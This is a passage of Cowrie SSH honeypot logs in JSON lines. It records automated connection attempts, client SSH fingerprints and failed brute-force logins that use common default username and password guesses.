@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:25.630610Z","src_ip":"159.203.92.129","session":"964b67945e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"9","password":"123456","message":"login attempt [9/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:25.643828Z","src_ip":"159.203.92.129","session":"964b67945e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:26.680476Z","src_ip":"159.203.92.129","session":"964b67945e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":55692,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e4e9f058cb","protocol":"ssh","message":"New connection: 103.228.69.212:55692 (159.203.135.109:22) [session: 47e4e9f058cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:48.809193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:48.813538Z","src_ip":"103.228.69.212","session":"47e4e9f058cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:49.038326Z","src_ip":"103.228.69.212","session":"47e4e9f058cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa@123456789","message":"login attempt [ubuntu/Aa@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:49.979882Z","src_ip":"103.228.69.212","session":"47e4e9f058cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:51.208256Z","src_ip":"103.228.69.212","session":"47e4e9f058cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35422,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b9fe96fa543","protocol":"ssh","message":"New connection: 159.203.92.129:35422 (159.203.135.109:22) [session: 3b9fe96fa543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:06.901716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:06.906752Z","src_ip":"159.203.92.129","session":"3b9fe96fa543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:06.913931Z","src_ip":"159.203.92.129","session":"3b9fe96fa543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"9","password":"9","message":"login attempt [9/9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:06.936602Z","src_ip":"159.203.92.129","session":"3b9fe96fa543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:07.946893Z","src_ip":"159.203.92.129","session":"3b9fe96fa543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34678,"dst_ip":"159.203.135.109","dst_port":22,"session":"792a74c726f6","protocol":"ssh","message":"New connection: 37.143.61.84:34678 (159.203.135.109:22) [session: 792a74c726f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:31.185189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:31.585587Z","src_ip":"37.143.61.84","session":"792a74c726f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:31.794942Z","src_ip":"37.143.61.84","session":"792a74c726f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password123456","message":"login attempt [test/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:33.992656Z","src_ip":"37.143.61.84","session":"792a74c726f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:35.102051Z","src_ip":"37.143.61.84","session":"792a74c726f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49352,"dst_ip":"159.203.135.109","dst_port":22,"session":"325ae13baaa8","protocol":"ssh","message":"New connection: 159.203.92.129:49352 (159.203.135.109:22) [session: 325ae13baaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:48.053997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:48.058561Z","src_ip":"159.203.92.129","session":"325ae13baaa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:48.063051Z","src_ip":"159.203.92.129","session":"325ae13baaa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"A","password":"123456","message":"login attempt [A/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:48.076014Z","src_ip":"159.203.92.129","session":"325ae13baaa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:49.093759Z","src_ip":"159.203.92.129","session":"325ae13baaa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":44932,"dst_ip":"159.203.135.109","dst_port":22,"session":"feb06eb38edf","protocol":"ssh","message":"New connection: 103.228.69.212:44932 (159.203.135.109:22) [session: feb06eb38edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:58.811452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:58.815784Z","src_ip":"103.228.69.212","session":"feb06eb38edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:11:59.045322Z","src_ip":"103.228.69.212","session":"feb06eb38edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1337","message":"login attempt [root/test1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:00.006439Z","src_ip":"103.228.69.212","session":"feb06eb38edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:01.248776Z","src_ip":"103.228.69.212","session":"feb06eb38edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55362,"dst_ip":"159.203.135.109","dst_port":22,"session":"5159e7a68351","protocol":"ssh","message":"New connection: 80.94.92.186:55362 (159.203.135.109:22) [session: 5159e7a68351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:25.567048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:25.658482Z","src_ip":"80.94.92.186","session":"5159e7a68351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:25.739029Z","src_ip":"80.94.92.186","session":"5159e7a68351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:26.342140Z","src_ip":"80.94.92.186","session":"5159e7a68351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50444,"dst_ip":"159.203.135.109","dst_port":22,"session":"39d4bb0d8a6a","protocol":"ssh","message":"New connection: 159.203.92.129:50444 (159.203.135.109:22) [session: 39d4bb0d8a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:26.949316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:26.995302Z","src_ip":"159.203.92.129","session":"39d4bb0d8a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:27.000240Z","src_ip":"159.203.92.129","session":"39d4bb0d8a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ABECICFA_gopanel","password":"123456","message":"login attempt [ABECICFA_gopanel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:27.128901Z","src_ip":"159.203.92.129","session":"39d4bb0d8a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:27.450963Z","src_ip":"80.94.92.186","session":"5159e7a68351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:12:28.135041Z","src_ip":"159.203.92.129","session":"39d4bb0d8a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":34152,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb2b5c05b8d7","protocol":"ssh","message":"New connection: 103.228.69.212:34152 (159.203.135.109:22) [session: bb2b5c05b8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:00.515798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:00.524605Z","src_ip":"103.228.69.212","session":"bb2b5c05b8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr